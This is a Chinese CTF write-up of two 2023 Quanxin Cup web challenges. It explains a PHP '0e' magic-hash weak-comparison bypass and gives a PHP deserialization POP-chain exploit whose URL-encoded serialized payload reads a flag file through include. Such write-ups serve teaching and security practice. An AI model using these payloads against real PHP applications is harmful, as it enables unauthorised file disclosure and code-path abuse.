目录

[泉信杯 2023]Web-WP

目录

[泉信杯 2023]Web-WP

题目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
$flag = null;
include '/flag_change';
$a = $_SERVER['argv'][0];
$b = $_SERVER['argv'][1];
$c = $_SERVER['HTTP_CLIENT_IP'];

if ($a == md5($b) && $a != $b && $a == md5($a)) {
    if (isset($c)) {
        echo $flag;
    } else {
        echo '请提供一个 client-ip ';
    }
}
?> 

echo $flag 需满足 $c 不为空,通过请求头 client-ip 传一个值给 $c

$_SERVER['HTTP_CLIENT_IP'] 是 php 中用于获取客户端(浏览器端)IP 地址的一种方法

https://pic.imgdb.cn/item/6569a27fc458853aefc937c6.jpg

要满足$a == md5($b) && $a != $b && $a == md5($a)需利用 php 的弱类型比较 “==” 的特性:

  • 使 $a 的值为0e215962017
  • 使 $b 的值为240610708

相关实验

https://pic.imgdb.cn/item/6569a79bc458853aefd83b3d.jpg

字符串 $a = '0e215962017' 的开头是 '0e',这是科学计数法表示法中的零:

在 php 中,如果字符串是 '*e*******' ('*'部分均为数字),php 会将这个字符串当作科学计数法。因为'0e'相当于'0乘',0 乘后面不管是什么数都为 0

因此,整个字符串 '0e215962017' 被解释为科学计数法的零,即数值 0

又因为 md5($a) 为:0e291242476940776845150308577824,也会被当作科学计数法,结果是 0

满足$a == md5($a)

240610708经 md5 加密后为 0e462097431906509019562988736854 同理也会被当作 0

满足$a == md5($b) && $a != $b

接下来的问题是如何给 $a$b 传值,以下是给 $a$b 赋值的代码:

1
2
$a = $_SERVER['argv'][0];
$b = $_SERVER['argv'][1];

通过在 url 后加上参数值即可给 $a$b 传值(多个参数值之间用 + 隔开)

关于$_SERVER['argv']

1、cli 模式(命令行)下

在 cli 模式(命令行)下运行 php 脚本,$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

https://pic.imgdb.cn/item/6569ee14c458853aefea52e4.jpg

2、web 网页模式下

前提条件:php.ini 里将 register_argc_argv 设置为 On

在 web 网页模式下,$_SERVER['argv'][0] 是 url 后的第一个参数值,多个 参数值之间用 + 隔开

https://pic.imgdb.cn/item/6569f167c458853aeffa4362.jpg

所以最后的 payload:

https://pic.imgdb.cn/item/6569f337c458853aef02b355.jpg

题目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//flag is in /flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI {
    private $lalala;
    public function qziedu($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->qziedu($this->lalala);
    }
}

class A{
    public $qian;
    public $yu;
    public function __toString(){
        return $this->yu->qian;
    }
    public function __wakeup(){
        echo $this->qian;
    }
}

class V{
    public $py;
    public function __construct(){
        $this->py = array();
    }

    public function __get($key){
        $function = $this->py;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 
  1. echo $flag 通过 QZI 类实例对象的 qziedu 方法执行
  2. QZI 类实例对象的 qziedu 方法通过 QZI 类实例对象的 __invoke 方法触发
  3. QZI 类实例对象的 __invoke 方法通过 V 类实例对象的 __get 方法触发
  4. V 类实例对象的 __get 方法通过 A 类实例对象的 __toString 方法触发
  5. A 类实例对象的 __toString 方法通过A 类实例对象的 __wakeup 方法触发

总结一下调用链:A->__wakeup ==> A->__toString ==> V->__get ==> QZI->__invoke ==> QZI->qziedu

编写 exp :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
class QZI {
    private $lalala = '/flag_change';
}
class A{
    public $qian;
    public $yu;
}
class V{
    public $py;
}
$obj = new A();
$obj->qian=new A();
$obj->qian->yu=new V();
$obj->qian->yu->py=new QZI();
$obj = serialize($obj);
$obj = urlencode($obj);
echo $obj;
?> 

运行后得到 payload :

1
O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22qian%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22qian%22%3BN%3Bs%3A2%3A%22yu%22%3BO%3A1%3A%22V%22%3A1%3A%7Bs%3A2%3A%22py%22%3BO%3A3%3A%22QZI%22%3A1%3A%7Bs%3A11%3A%22%00QZI%00lalala%22%3Bs%3A12%3A%22%2Fflag_change%22%3B%7D%7D%7Ds%3A2%3A%22yu%22%3BN%3B%7D

GET 提交 payload